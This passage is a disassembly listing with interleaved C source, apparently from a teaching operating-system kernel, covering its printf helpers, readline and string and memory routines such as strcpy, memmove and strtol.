putch('%', putdat); f0101278: 83 ec 08 sub $0x8,%esp f010127b: 53 push %ebx f010127c: 6a 25 push $0x25 f010127e: ff d6 call *%esi for (fmt--; fmt[-1] != '%'; fmt--) f0101280: 83 c4 10 add $0x10,%esp f0101283: eb 03 jmp f0101288 <vprintfmt+0x3e0> f0101285: 83 ef 01 sub $0x1,%edi f0101288: 80 7f ff 25 cmpb $0x25,-0x1(%edi) f010128c: 75 f7 jne f0101285 <vprintfmt+0x3dd> f010128e: e9 46 fc ff ff jmp f0100ed9 <vprintfmt+0x31> } f0101293: 8d 65 f4 lea -0xc(%ebp),%esp f0101296: 5b pop %ebx f0101297: 5e pop %esi f0101298: 5f pop %edi f0101299: 5d pop %ebp f010129a: c3 ret f010129b <vsnprintf>: int vsnprintf(char *buf, int n, const char *fmt, va_list ap) { f010129b: 55 push %ebp f010129c: 89 e5 mov %esp,%ebp f010129e: 83 ec 18 sub $0x18,%esp f01012a1: 8b 45 08 mov 0x8(%ebp),%eax f01012a4: 8b 55 0c mov 0xc(%ebp),%edx struct sprintbuf b = {buf, buf+n-1, 0}; f01012a7: 89 45 ec mov %eax,-0x14(%ebp) f01012aa: 8d 4c 10 ff lea -0x1(%eax,%edx,1),%ecx f01012ae: 89 4d f0 mov %ecx,-0x10(%ebp) f01012b1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) if (buf == NULL || n < 1) f01012b8: 85 c0 test %eax,%eax f01012ba: 74 26 je f01012e2 <vsnprintf+0x47> f01012bc: 85 d2 test %edx,%edx f01012be: 7e 22 jle f01012e2 <vsnprintf+0x47> return -E_INVAL; // print the string to the buffer vprintfmt((void*)sprintputch, &b, fmt, ap); f01012c0: ff 75 14 pushl 0x14(%ebp) f01012c3: ff 75 10 pushl 0x10(%ebp) f01012c6: 8d 45 ec lea -0x14(%ebp),%eax f01012c9: 50 push %eax f01012ca: 68 6e 0e 10 f0 push $0xf0100e6e f01012cf: e8 d4 fb ff ff call f0100ea8 <vprintfmt> // null terminate the buffer *b.buf = '\0'; f01012d4: 8b 45 ec mov -0x14(%ebp),%eax f01012d7: c6 00 00 movb $0x0,(%eax) return b.cnt; f01012da: 8b 45 f4 mov -0xc(%ebp),%eax f01012dd: 83 c4 10 add $0x10,%esp f01012e0: eb 05 jmp f01012e7 <vsnprintf+0x4c> return -E_INVAL; f01012e2: b8 fd ff ff ff mov $0xfffffffd,%eax } f01012e7: c9 leave f01012e8: c3 ret f01012e9 <snprintf>: int snprintf(char *buf, int n, const char *fmt, ...) { f01012e9: 55 push %ebp f01012ea: 89 e5 mov %esp,%ebp f01012ec: 83 ec 08 sub $0x8,%esp va_list ap; int rc; va_start(ap, fmt); f01012ef: 8d 45 14 lea 0x14(%ebp),%eax rc = vsnprintf(buf, n, fmt, ap); f01012f2: 50 push %eax f01012f3: ff 75 10 pushl 0x10(%ebp) f01012f6: ff 75 0c pushl 0xc(%ebp) f01012f9: ff 75 08 pushl 0x8(%ebp) f01012fc: e8 9a ff ff ff call f010129b <vsnprintf> va_end(ap); return rc; } f0101301: c9 leave f0101302: c3 ret f0101303 <readline>: #define BUFLEN 1024 static char buf[BUFLEN]; char * readline(const char *prompt) { f0101303: 55 push %ebp f0101304: 89 e5 mov %esp,%ebp f0101306: 57 push %edi f0101307: 56 push %esi f0101308: 53 push %ebx f0101309: 83 ec 0c sub $0xc,%esp f010130c: 8b 45 08 mov 0x8(%ebp),%eax int i, c, echoing; if (prompt != NULL) f010130f: 85 c0 test %eax,%eax f0101311: 74 11 je f0101324 <readline+0x21> cprintf("%s", prompt); f0101313: 83 ec 08 sub $0x8,%esp f0101316: 50 push %eax f0101317: 68 c8 1f 10 f0 push $0xf0101fc8 f010131c: e8 4a f7 ff ff call f0100a6b <cprintf> f0101321: 83 c4 10 add $0x10,%esp i = 0; echoing = iscons(0); f0101324: 83 ec 0c sub $0xc,%esp f0101327: 6a 00 push $0x0 f0101329: e8 2c f3 ff ff call f010065a <iscons> f010132e: 89 c7 mov %eax,%edi f0101330: 83 c4 10 add $0x10,%esp i = 0; f0101333: be 00 00 00 00 mov $0x0,%esi while (1) { c = getchar(); f0101338: e8 0c f3 ff ff call f0100649 <getchar> f010133d: 89 c3 mov %eax,%ebx if (c < 0) { f010133f: 85 c0 test %eax,%eax f0101341: 79 18 jns f010135b <readline+0x58> cprintf("read error: %e\n", c); f0101343: 83 ec 08 sub $0x8,%esp f0101346: 50 push %eax f0101347: 68 c0 21 10 f0 push $0xf01021c0 f010134c: e8 1a f7 ff ff call f0100a6b <cprintf> return NULL; f0101351: 83 c4 10 add $0x10,%esp f0101354: b8 00 00 00 00 mov $0x0,%eax f0101359: eb 79 jmp f01013d4 <readline+0xd1> } else if ((c == '\b' || c == '\x7f') && i > 0) { f010135b: 83 f8 08 cmp $0x8,%eax f010135e: 0f 94 c2 sete %dl f0101361: 83 f8 7f cmp $0x7f,%eax f0101364: 0f 94 c0 sete %al f0101367: 08 c2 or %al,%dl f0101369: 74 1a je f0101385 <readline+0x82> f010136b: 85 f6 test %esi,%esi f010136d: 7e 16 jle f0101385 <readline+0x82> if (echoing) f010136f: 85 ff test %edi,%edi f0101371: 74 0d je f0101380 <readline+0x7d> cputchar('\b'); f0101373: 83 ec 0c sub $0xc,%esp f0101376: 6a 08 push $0x8 f0101378: e8 bc f2 ff ff call f0100639 <cputchar> f010137d: 83 c4 10 add $0x10,%esp i--; f0101380: 83 ee 01 sub $0x1,%esi f0101383: eb b3 jmp f0101338 <readline+0x35> } else if (c >= ' ' && i < BUFLEN-1) { f0101385: 83 fb 1f cmp $0x1f,%ebx f0101388: 7e 23 jle f01013ad <readline+0xaa> f010138a: 81 fe fe 03 00 00 cmp $0x3fe,%esi f0101390: 7f 1b jg f01013ad <readline+0xaa> if (echoing) f0101392: 85 ff test %edi,%edi f0101394: 74 0c je f01013a2 <readline+0x9f> cputchar(c); f0101396: 83 ec 0c sub $0xc,%esp f0101399: 53 push %ebx f010139a: e8 9a f2 ff ff call f0100639 <cputchar> f010139f: 83 c4 10 add $0x10,%esp buf[i++] = c; f01013a2: 88 9e a0 25 11 f0 mov %bl,-0xfeeda60(%esi) f01013a8: 8d 76 01 lea 0x1(%esi),%esi f01013ab: eb 8b jmp f0101338 <readline+0x35> } else if (c == '\n' || c == '\r') { f01013ad: 83 fb 0a cmp $0xa,%ebx f01013b0: 74 05 je f01013b7 <readline+0xb4> f01013b2: 83 fb 0d cmp $0xd,%ebx f01013b5: 75 81 jne f0101338 <readline+0x35> if (echoing) f01013b7: 85 ff test %edi,%edi f01013b9: 74 0d je f01013c8 <readline+0xc5> cputchar('\n'); f01013bb: 83 ec 0c sub $0xc,%esp f01013be: 6a 0a push $0xa f01013c0: e8 74 f2 ff ff call f0100639 <cputchar> f01013c5: 83 c4 10 add $0x10,%esp buf[i] = 0; f01013c8: c6 86 a0 25 11 f0 00 movb $0x0,-0xfeeda60(%esi) return buf; f01013cf: b8 a0 25 11 f0 mov $0xf01125a0,%eax } } } f01013d4: 8d 65 f4 lea -0xc(%ebp),%esp f01013d7: 5b pop %ebx f01013d8: 5e pop %esi f01013d9: 5f pop %edi f01013da: 5d pop %ebp f01013db: c3 ret f01013dc <strlen>: // Primespipe runs 3x faster this way. #define ASM 1 int strlen(const char *s) { f01013dc: 55 push %ebp f01013dd: 89 e5 mov %esp,%ebp f01013df: 8b 55 08 mov 0x8(%ebp),%edx int n; for (n = 0; *s != '\0'; s++) f01013e2: b8 00 00 00 00 mov $0x0,%eax f01013e7: eb 03 jmp f01013ec <strlen+0x10> n++; f01013e9: 83 c0 01 add $0x1,%eax for (n = 0; *s != '\0'; s++) f01013ec: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) f01013f0: 75 f7 jne f01013e9 <strlen+0xd> return n; } f01013f2: 5d pop %ebp f01013f3: c3 ret f01013f4 <strnlen>: int strnlen(const char *s, size_t size) { f01013f4: 55 push %ebp f01013f5: 89 e5 mov %esp,%ebp f01013f7: 8b 4d 08 mov 0x8(%ebp),%ecx f01013fa: 8b 45 0c mov 0xc(%ebp),%eax int n; for (n = 0; size > 0 && *s != '\0'; s++, size--) f01013fd: ba 00 00 00 00 mov $0x0,%edx f0101402: eb 03 jmp f0101407 <strnlen+0x13> n++; f0101404: 83 c2 01 add $0x1,%edx for (n = 0; size > 0 && *s != '\0'; s++, size--) f0101407: 39 c2 cmp %eax,%edx f0101409: 74 08 je f0101413 <strnlen+0x1f> f010140b: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) f010140f: 75 f3 jne f0101404 <strnlen+0x10> f0101411: 89 d0 mov %edx,%eax return n; } f0101413: 5d pop %ebp f0101414: c3 ret f0101415 <strcpy>: char * strcpy(char *dst, const char *src) { f0101415: 55 push %ebp f0101416: 89 e5 mov %esp,%ebp f0101418: 53 push %ebx f0101419: 8b 45 08 mov 0x8(%ebp),%eax f010141c: 8b 4d 0c mov 0xc(%ebp),%ecx char *ret; ret = dst; while ((*dst++ = *src++) != '\0') f010141f: 89 c2 mov %eax,%edx f0101421: 83 c2 01 add $0x1,%edx f0101424: 83 c1 01 add $0x1,%ecx f0101427: 0f b6 59 ff movzbl -0x1(%ecx),%ebx f010142b: 88 5a ff mov %bl,-0x1(%edx) f010142e: 84 db test %bl,%bl f0101430: 75 ef jne f0101421 <strcpy+0xc> /* do nothing */; return ret; } f0101432: 5b pop %ebx f0101433: 5d pop %ebp f0101434: c3 ret f0101435 <strcat>: char * strcat(char *dst, const char *src) { f0101435: 55 push %ebp f0101436: 89 e5 mov %esp,%ebp f0101438: 53 push %ebx f0101439: 8b 5d 08 mov 0x8(%ebp),%ebx int len = strlen(dst); f010143c: 53 push %ebx f010143d: e8 9a ff ff ff call f01013dc <strlen> f0101442: 83 c4 04 add $0x4,%esp strcpy(dst + len, src); f0101445: ff 75 0c pushl 0xc(%ebp) f0101448: 01 d8 add %ebx,%eax f010144a: 50 push %eax f010144b: e8 c5 ff ff ff call f0101415 <strcpy> return dst; } f0101450: 89 d8 mov %ebx,%eax f0101452: 8b 5d fc mov -0x4(%ebp),%ebx f0101455: c9 leave f0101456: c3 ret f0101457 <strncpy>: char * strncpy(char *dst, const char *src, size_t size) { f0101457: 55 push %ebp f0101458: 89 e5 mov %esp,%ebp f010145a: 56 push %esi f010145b: 53 push %ebx f010145c: 8b 75 08 mov 0x8(%ebp),%esi f010145f: 8b 4d 0c mov 0xc(%ebp),%ecx f0101462: 89 f3 mov %esi,%ebx f0101464: 03 5d 10 add 0x10(%ebp),%ebx size_t i; char *ret; ret = dst; for (i = 0; i < size; i++) { f0101467: 89 f2 mov %esi,%edx f0101469: eb 0f jmp f010147a <strncpy+0x23> *dst++ = *src; f010146b: 83 c2 01 add $0x1,%edx f010146e: 0f b6 01 movzbl (%ecx),%eax f0101471: 88 42 ff mov %al,-0x1(%edx) // If strlen(src) < size, null-pad 'dst' out to 'size' chars if (*src != '\0') src++; f0101474: 80 39 01 cmpb $0x1,(%ecx) f0101477: 83 d9 ff sbb $0xffffffff,%ecx for (i = 0; i < size; i++) { f010147a: 39 da cmp %ebx,%edx f010147c: 75 ed jne f010146b <strncpy+0x14> } return ret; } f010147e: 89 f0 mov %esi,%eax f0101480: 5b pop %ebx f0101481: 5e pop %esi f0101482: 5d pop %ebp f0101483: c3 ret f0101484 <strlcpy>: size_t strlcpy(char *dst, const char *src, size_t size) { f0101484: 55 push %ebp f0101485: 89 e5 mov %esp,%ebp f0101487: 56 push %esi f0101488: 53 push %ebx f0101489: 8b 75 08 mov 0x8(%ebp),%esi f010148c: 8b 4d 0c mov 0xc(%ebp),%ecx f010148f: 8b 55 10 mov 0x10(%ebp),%edx f0101492: 89 f0 mov %esi,%eax char *dst_in; dst_in = dst; if (size > 0) { f0101494: 85 d2 test %edx,%edx f0101496: 74 21 je f01014b9 <strlcpy+0x35> f0101498: 8d 44 16 ff lea -0x1(%esi,%edx,1),%eax f010149c: 89 f2 mov %esi,%edx f010149e: eb 09 jmp f01014a9 <strlcpy+0x25> while (--size > 0 && *src != '\0') *dst++ = *src++; f01014a0: 83 c2 01 add $0x1,%edx f01014a3: 83 c1 01 add $0x1,%ecx f01014a6: 88 5a ff mov %bl,-0x1(%edx) while (--size > 0 && *src != '\0') f01014a9: 39 c2 cmp %eax,%edx f01014ab: 74 09 je f01014b6 <strlcpy+0x32> f01014ad: 0f b6 19 movzbl (%ecx),%ebx f01014b0: 84 db test %bl,%bl f01014b2: 75 ec jne f01014a0 <strlcpy+0x1c> f01014b4: 89 d0 mov %edx,%eax *dst = '\0'; f01014b6: c6 00 00 movb $0x0,(%eax) } return dst - dst_in; f01014b9: 29 f0 sub %esi,%eax } f01014bb: 5b pop %ebx f01014bc: 5e pop %esi f01014bd: 5d pop %ebp f01014be: c3 ret f01014bf <strcmp>: int strcmp(const char *p, const char *q) { f01014bf: 55 push %ebp f01014c0: 89 e5 mov %esp,%ebp f01014c2: 8b 4d 08 mov 0x8(%ebp),%ecx f01014c5: 8b 55 0c mov 0xc(%ebp),%edx while (*p && *p == *q) f01014c8: eb 06 jmp f01014d0 <strcmp+0x11> p++, q++; f01014ca: 83 c1 01 add $0x1,%ecx f01014cd: 83 c2 01 add $0x1,%edx while (*p && *p == *q) f01014d0: 0f b6 01 movzbl (%ecx),%eax f01014d3: 84 c0 test %al,%al f01014d5: 74 04 je f01014db <strcmp+0x1c> f01014d7: 3a 02 cmp (%edx),%al f01014d9: 74 ef je f01014ca <strcmp+0xb> return (int) ((unsigned char) *p - (unsigned char) *q); f01014db: 0f b6 c0 movzbl %al,%eax f01014de: 0f b6 12 movzbl (%edx),%edx f01014e1: 29 d0 sub %edx,%eax } f01014e3: 5d pop %ebp f01014e4: c3 ret f01014e5 <strncmp>: int strncmp(const char *p, const char *q, size_t n) { f01014e5: 55 push %ebp f01014e6: 89 e5 mov %esp,%ebp f01014e8: 53 push %ebx f01014e9: 8b 45 08 mov 0x8(%ebp),%eax f01014ec: 8b 55 0c mov 0xc(%ebp),%edx f01014ef: 89 c3 mov %eax,%ebx f01014f1: 03 5d 10 add 0x10(%ebp),%ebx while (n > 0 && *p && *p == *q) f01014f4: eb 06 jmp f01014fc <strncmp+0x17> n--, p++, q++; f01014f6: 83 c0 01 add $0x1,%eax f01014f9: 83 c2 01 add $0x1,%edx while (n > 0 && *p && *p == *q) f01014fc: 39 d8 cmp %ebx,%eax f01014fe: 74 15 je f0101515 <strncmp+0x30> f0101500: 0f b6 08 movzbl (%eax),%ecx f0101503: 84 c9 test %cl,%cl f0101505: 74 04 je f010150b <strncmp+0x26> f0101507: 3a 0a cmp (%edx),%cl f0101509: 74 eb je f01014f6 <strncmp+0x11> if (n == 0) return 0; else return (int) ((unsigned char) *p - (unsigned char) *q); f010150b: 0f b6 00 movzbl (%eax),%eax f010150e: 0f b6 12 movzbl (%edx),%edx f0101511: 29 d0 sub %edx,%eax f0101513: eb 05 jmp f010151a <strncmp+0x35> return 0; f0101515: b8 00 00 00 00 mov $0x0,%eax } f010151a: 5b pop %ebx f010151b: 5d pop %ebp f010151c: c3 ret f010151d <strchr>: // Return a pointer to the first occurrence of 'c' in 's', // or a null pointer if the string has no 'c'. char * strchr(const char *s, char c) { f010151d: 55 push %ebp f010151e: 89 e5 mov %esp,%ebp f0101520: 8b 45 08 mov 0x8(%ebp),%eax f0101523: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for (; *s; s++) f0101527: eb 07 jmp f0101530 <strchr+0x13> if (*s == c) f0101529: 38 ca cmp %cl,%dl f010152b: 74 0f je f010153c <strchr+0x1f> for (; *s; s++) f010152d: 83 c0 01 add $0x1,%eax f0101530: 0f b6 10 movzbl (%eax),%edx f0101533: 84 d2 test %dl,%dl f0101535: 75 f2 jne f0101529 <strchr+0xc> return (char *) s; return 0; f0101537: b8 00 00 00 00 mov $0x0,%eax } f010153c: 5d pop %ebp f010153d: c3 ret f010153e <strfind>: // Return a pointer to the first occurrence of 'c' in 's', // or a pointer to the string-ending null character if the string has no 'c'. char * strfind(const char *s, char c) { f010153e: 55 push %ebp f010153f: 89 e5 mov %esp,%ebp f0101541: 8b 45 08 mov 0x8(%ebp),%eax f0101544: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for (; *s; s++) f0101548: eb 03 jmp f010154d <strfind+0xf> f010154a: 83 c0 01 add $0x1,%eax f010154d: 0f b6 10 movzbl (%eax),%edx if (*s == c) f0101550: 38 ca cmp %cl,%dl f0101552: 74 04 je f0101558 <strfind+0x1a> f0101554: 84 d2 test %dl,%dl f0101556: 75 f2 jne f010154a <strfind+0xc> break; return (char *) s; } f0101558: 5d pop %ebp f0101559: c3 ret f010155a <memset>: #if ASM void * memset(void *v, int c, size_t n) { f010155a: 55 push %ebp f010155b: 89 e5 mov %esp,%ebp f010155d: 57 push %edi f010155e: 56 push %esi f010155f: 53 push %ebx f0101560: 8b 7d 08 mov 0x8(%ebp),%edi f0101563: 8b 4d 10 mov 0x10(%ebp),%ecx char *p; if (n == 0) f0101566: 85 c9 test %ecx,%ecx f0101568: 74 36 je f01015a0 <memset+0x46> return v; if ((int)v%4 == 0 && n%4 == 0) { f010156a: f7 c7 03 00 00 00 test $0x3,%edi f0101570: 75 28 jne f010159a <memset+0x40> f0101572: f6 c1 03 test $0x3,%cl f0101575: 75 23 jne f010159a <memset+0x40> c &= 0xFF; f0101577: 0f b6 55 0c movzbl 0xc(%ebp),%edx c = (c<<24)|(c<<16)|(c<<8)|c; f010157b: 89 d3 mov %edx,%ebx f010157d: c1 e3 08 shl $0x8,%ebx f0101580: 89 d6 mov %edx,%esi f0101582: c1 e6 18 shl $0x18,%esi f0101585: 89 d0 mov %edx,%eax f0101587: c1 e0 10 shl $0x10,%eax f010158a: 09 f0 or %esi,%eax f010158c: 09 c2 or %eax,%edx asm volatile("cld; rep stosl\n" f010158e: 89 d8 mov %ebx,%eax f0101590: 09 d0 or %edx,%eax f0101592: c1 e9 02 shr $0x2,%ecx f0101595: fc cld f0101596: f3 ab rep stos %eax,%es:(%edi) f0101598: eb 06 jmp f01015a0 <memset+0x46> :: "D" (v), "a" (c), "c" (n/4) : "cc", "memory"); } else asm volatile("cld; rep stosb\n" f010159a: 8b 45 0c mov 0xc(%ebp),%eax f010159d: fc cld f010159e: f3 aa rep stos %al,%es:(%edi) :: "D" (v), "a" (c), "c" (n) : "cc", "memory"); return v; } f01015a0: 89 f8 mov %edi,%eax f01015a2: 5b pop %ebx f01015a3: 5e pop %esi f01015a4: 5f pop %edi f01015a5: 5d pop %ebp f01015a6: c3 ret f01015a7 <memmove>: void * memmove(void *dst, const void *src, size_t n) { f01015a7: 55 push %ebp f01015a8: 89 e5 mov %esp,%ebp f01015aa: 57 push %edi f01015ab: 56 push %esi f01015ac: 8b 45 08 mov 0x8(%ebp),%eax f01015af: 8b 75 0c mov 0xc(%ebp),%esi f01015b2: 8b 4d 10 mov 0x10(%ebp),%ecx const char *s; char *d; s = src; d = dst; if (s < d && s + n > d) { f01015b5: 39 c6 cmp %eax,%esi f01015b7: 73 35 jae f01015ee <memmove+0x47> f01015b9: 8d 14 0e lea (%esi,%ecx,1),%edx f01015bc: 39 d0 cmp %edx,%eax f01015be: 73 2e jae f01015ee <memmove+0x47> s += n; d += n; f01015c0: 8d 3c 08 lea (%eax,%ecx,1),%edi if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0) f01015c3: 89 d6 mov %edx,%esi f01015c5: 09 fe or %edi,%esi f01015c7: f7 c6 03 00 00 00 test $0x3,%esi f01015cd: 75 13 jne f01015e2 <memmove+0x3b> f01015cf: f6 c1 03 test $0x3,%cl f01015d2: 75 0e jne f01015e2 <memmove+0x3b> asm volatile("std; rep movsl\n" f01015d4: 83 ef 04 sub $0x4,%edi f01015d7: 8d 72 fc lea -0x4(%edx),%esi f01015da: c1 e9 02 shr $0x2,%ecx f01015dd: fd std f01015de: f3 a5 rep movsl %ds:(%esi),%es:(%edi) f01015e0: eb 09 jmp f01015eb <memmove+0x44> :: "D" (d-4), "S" (s-4), "c" (n/4) : "cc", "memory"); else asm volatile("std; rep movsb\n" f01015e2: 83 ef 01 sub $0x1,%edi f01015e5: 8d 72 ff lea -0x1(%edx),%esi f01015e8: fd std f01015e9: f3 a4 rep movsb %ds:(%esi),%es:(%edi) :: "D" (d-1), "S" (s-1), "c" (n) : "cc", "memory"); // Some versions of GCC rely on DF being clear asm volatile("cld" ::: "cc"); f01015eb: fc cld f01015ec: eb 1d jmp f010160b <memmove+0x64> } else { if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0) f01015ee: 89 f2 mov %esi,%edx f01015f0: 09 c2 or %eax,%edx f01015f2: f6 c2 03 test $0x3,%dl f01015f5: 75 0f jne f0101606 <memmove+0x5f> f01015f7: f6 c1 03 test $0x3,%cl f01015fa: 75 0a jne f0101606 <memmove+0x5f> asm volatile("cld; rep movsl\n" f01015fc: c1 e9 02 shr $0x2,%ecx f01015ff: 89 c7 mov %eax,%edi f0101601: fc cld f0101602: f3 a5 rep movsl %ds:(%esi),%es:(%edi) f0101604: eb 05 jmp f010160b <memmove+0x64> :: "D" (d), "S" (s), "c" (n/4) : "cc", "memory"); else asm volatile("cld; rep movsb\n" f0101606: 89 c7 mov %eax,%edi f0101608: fc cld f0101609: f3 a4 rep movsb %ds:(%esi),%es:(%edi) :: "D" (d), "S" (s), "c" (n) : "cc", "memory"); } return dst; } f010160b: 5e pop %esi f010160c: 5f pop %edi f010160d: 5d pop %ebp f010160e: c3 ret f010160f <memcpy>: } #endif void * memcpy(void *dst, const void *src, size_t n) { f010160f: 55 push %ebp f0101610: 89 e5 mov %esp,%ebp return memmove(dst, src, n); f0101612: ff 75 10 pushl 0x10(%ebp) f0101615: ff 75 0c pushl 0xc(%ebp) f0101618: ff 75 08 pushl 0x8(%ebp) f010161b: e8 87 ff ff ff call f01015a7 <memmove> } f0101620: c9 leave f0101621: c3 ret f0101622 <memcmp>: int memcmp(const void *v1, const void *v2, size_t n) { f0101622: 55 push %ebp f0101623: 89 e5 mov %esp,%ebp f0101625: 56 push %esi f0101626: 53 push %ebx f0101627: 8b 45 08 mov 0x8(%ebp),%eax f010162a: 8b 55 0c mov 0xc(%ebp),%edx f010162d: 89 c6 mov %eax,%esi f010162f: 03 75 10 add 0x10(%ebp),%esi const uint8_t *s1 = (const uint8_t *) v1; const uint8_t *s2 = (const uint8_t *) v2; while (n-- > 0) { f0101632: eb 1a jmp f010164e <memcmp+0x2c> if (*s1 != *s2) f0101634: 0f b6 08 movzbl (%eax),%ecx f0101637: 0f b6 1a movzbl (%edx),%ebx f010163a: 38 d9 cmp %bl,%cl f010163c: 74 0a je f0101648 <memcmp+0x26> return (int) *s1 - (int) *s2; f010163e: 0f b6 c1 movzbl %cl,%eax f0101641: 0f b6 db movzbl %bl,%ebx f0101644: 29 d8 sub %ebx,%eax f0101646: eb 0f jmp f0101657 <memcmp+0x35> s1++, s2++; f0101648: 83 c0 01 add $0x1,%eax f010164b: 83 c2 01 add $0x1,%edx while (n-- > 0) { f010164e: 39 f0 cmp %esi,%eax f0101650: 75 e2 jne f0101634 <memcmp+0x12> } return 0; f0101652: b8 00 00 00 00 mov $0x0,%eax } f0101657: 5b pop %ebx f0101658: 5e pop %esi f0101659: 5d pop %ebp f010165a: c3 ret f010165b <memfind>: void * memfind(const void *s, int c, size_t n) { f010165b: 55 push %ebp f010165c: 89 e5 mov %esp,%ebp f010165e: 53 push %ebx f010165f: 8b 45 08 mov 0x8(%ebp),%eax const void *ends = (const char *) s + n; f0101662: 89 c1 mov %eax,%ecx f0101664: 03 4d 10 add 0x10(%ebp),%ecx for (; s < ends; s++) if (*(const unsigned char *) s == (unsigned char) c) f0101667: 0f b6 5d 0c movzbl 0xc(%ebp),%ebx for (; s < ends; s++) f010166b: eb 0a jmp f0101677 <memfind+0x1c> if (*(const unsigned char *) s == (unsigned char) c) f010166d: 0f b6 10 movzbl (%eax),%edx f0101670: 39 da cmp %ebx,%edx f0101672: 74 07 je f010167b <memfind+0x20> for (; s < ends; s++) f0101674: 83 c0 01 add $0x1,%eax f0101677: 39 c8 cmp %ecx,%eax f0101679: 72 f2 jb f010166d <memfind+0x12> break; return (void *) s; } f010167b: 5b pop %ebx f010167c: 5d pop %ebp f010167d: c3 ret f010167e <strtol>: long strtol(const char *s, char **endptr, int base) { f010167e: 55 push %ebp f010167f: 89 e5 mov %esp,%ebp f0101681: 57 push %edi f0101682: 56 push %esi f0101683: 53 push %ebx f0101684: 8b 4d 08 mov 0x8(%ebp),%ecx f0101687: 8b 5d 10 mov 0x10(%ebp),%ebx int neg = 0; long val = 0; // gobble initial whitespace while (*s == ' ' || *s == '\t') f010168a: eb 03 jmp f010168f <strtol+0x11> s++; f010168c: 83 c1 01 add $0x1,%ecx while (*s == ' ' || *s == '\t') f010168f: 0f b6 01 movzbl (%ecx),%eax f0101692: 3c 20 cmp $0x20,%al f0101694: 74 f6 je f010168c <strtol+0xe> f0101696: 3c 09 cmp $0x9,%al f0101698: 74 f2 je f010168c <strtol+0xe> // plus/minus sign if (*s == '+') f010169a: 3c 2b cmp $0x2b,%al f010169c: 75 0a jne f01016a8 <strtol+0x2a> s++; f010169e: 83 c1 01 add $0x1,%ecx int neg = 0; f01016a1: bf 00 00 00 00 mov $0x0,%edi f01016a6: eb 11 jmp f01016b9 <strtol+0x3b> f01016a8: bf 00 00 00 00 mov $0x0,%edi else if (*s == '-') f01016ad: 3c 2d cmp $0x2d,%al f01016af: 75 08 jne f01016b9 <strtol+0x3b> s++, neg = 1; f01016b1: 83 c1 01 add $0x1,%ecx f01016b4: bf 01 00 00 00 mov $0x1,%edi // hex or octal base prefix if ((base == 0 || base == 16) && (s[0] == '0' && s[1] == 'x')) f01016b9: f7 c3 ef ff ff ff test $0xffffffef,%ebx f01016bf: 75 15 jne f01016d6 <strtol+0x58> f01016c1: 80 39 30 cmpb $0x30,(%ecx) f01016c4: 75 10 jne f01016d6 <strtol+0x58> f01016c6: 80 79 01 78 cmpb $0x78,0x1(%ecx) f01016ca: 75 7c jne f0101748 <strtol+0xca> s += 2, base = 16; f01016cc: 83 c1 02 add $0x2,%ecx f01016cf: bb 10 00 00 00 mov $0x10,%ebx f01016d4: eb 16 jmp f01016ec <strtol+0x6e> else if (base == 0 && s[0] == '0') f01016d6: 85 db test %ebx,%ebx f01016d8: 75 12 jne f01016ec <strtol+0x6e> s++, base = 8; else if (base == 0) base = 10; f01016da: bb 0a 00 00 00 mov $0xa,%ebx else if (base == 0 && s[0] == '0') f01016df: 80 39 30 cmpb $0x30,(%ecx) f01016e2: 75 08 jne f01016ec <strtol+0x6e> s++, base = 8; f01016e4: 83 c1 01 add $0x1,%ecx f01016e7: bb 08 00 00 00 mov $0x8,%ebx base = 10; f01016ec: b8 00 00 00 00 mov $0x0,%eax f01016f1: 89 5d 10 mov %ebx,0x10(%ebp) // digits while (1) { int dig; if (*s >= '0' && *s <= '9') f01016f4: 0f b6 11 movzbl (%ecx),%edx f01016f7: 8d 72 d0 lea -0x30(%edx),%esi f01016fa: 89 f3 mov %esi,%ebx f01016fc: 80 fb 09 cmp $0x9,%bl f01016ff: 77 08 ja f0101709 <strtol+0x8b> dig = *s - '0'; f0101701: 0f be d2 movsbl %dl,%edx f0101704: 83 ea 30 sub $0x30,%edx f0101707: eb 22 jmp f010172b <strtol+0xad> else if (*s >= 'a' && *s <= 'z') f0101709: 8d 72 9f lea -0x61(%edx),%esi f010170c: 89 f3 mov %esi,%ebx f010170e: 80 fb 19 cmp $0x19,%bl f0101711: 77 08 ja f010171b <strtol+0x9d> dig = *s - 'a' + 10; f0101713: 0f be d2 movsbl %dl,%edx f0101716: 83 ea 57 sub $0x57,%edx f0101719: eb 10 jmp f010172b <strtol+0xad> else if (*s >= 'A' && *s <= 'Z') f010171b: 8d 72 bf lea -0x41(%edx),%esi f010171e: 89 f3 mov %esi,%ebx f0101720: 80 fb 19 cmp $0x19,%bl f0101723: 77 16 ja f010173b <strtol+0xbd> dig = *s - 'A' + 10; f0101725: 0f be d2 movsbl %dl,%edx f0101728: 83 ea 37 sub $0x37,%edx else break; if (dig >= base) f010172b: 3b 55 10 cmp 0x10(%ebp),%edx f010172e: 7d 0b jge f010173b <strtol+0xbd> break; s++, val = (val * base) + dig; f0101730: 83 c1 01 add $0x1,%ecx f0101733: 0f af 45 10 imul 0x10(%ebp),%eax f0101737: 01 d0 add %edx,%eax // we don't properly detect overflow! } f0101739: eb b9 jmp f01016f4 <strtol+0x76> if (endptr) f010173b: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) f010173f: 74 0d je f010174e <strtol+0xd0> *endptr = (char *) s; f0101741: 8b 75 0c mov 0xc(%ebp),%esi f0101744: 89 0e mov %ecx,(%esi) f0101746: eb 06 jmp f010174e <strtol+0xd0> else if (base == 0 && s[0] == '0') f0101748: 85 db test %ebx,%ebx f010174a: 74 98 je f01016e4 <strtol+0x66> f010174c: eb 9e jmp f01016ec <strtol+0x6e> return (neg ? -val : val); f010174e: 89 c2 mov %eax,%edx f0101750: f7 da neg %edx f0101752: 85 ff test %edi,%edi f0101754: 0f 45 c2 cmovne %edx,%eax } f0101757: 5b pop %ebx f0101758: 5e pop %esi f0101759: 5f pop %edi f010175a: 5d pop %ebp f010175b: c3 ret f010175c: 66 90 xchg %ax,%ax f010175e: 66 90 xchg %ax,%ax f0101760 <__udivdi3>: f0101760: f3 0f 1e fb endbr32 f0101764: 55 push %ebp f0101765: 57 push %edi f0101766: 56 push %esi f0101767: 53 push %ebx f0101768: 83 ec 1c sub $0x1c,%esp f010176b: 8b 54 24 3c mov 0x3c(%esp),%edx f010176f: 8b 6c 24 30 mov 0x30(%esp),%ebp f0101773: 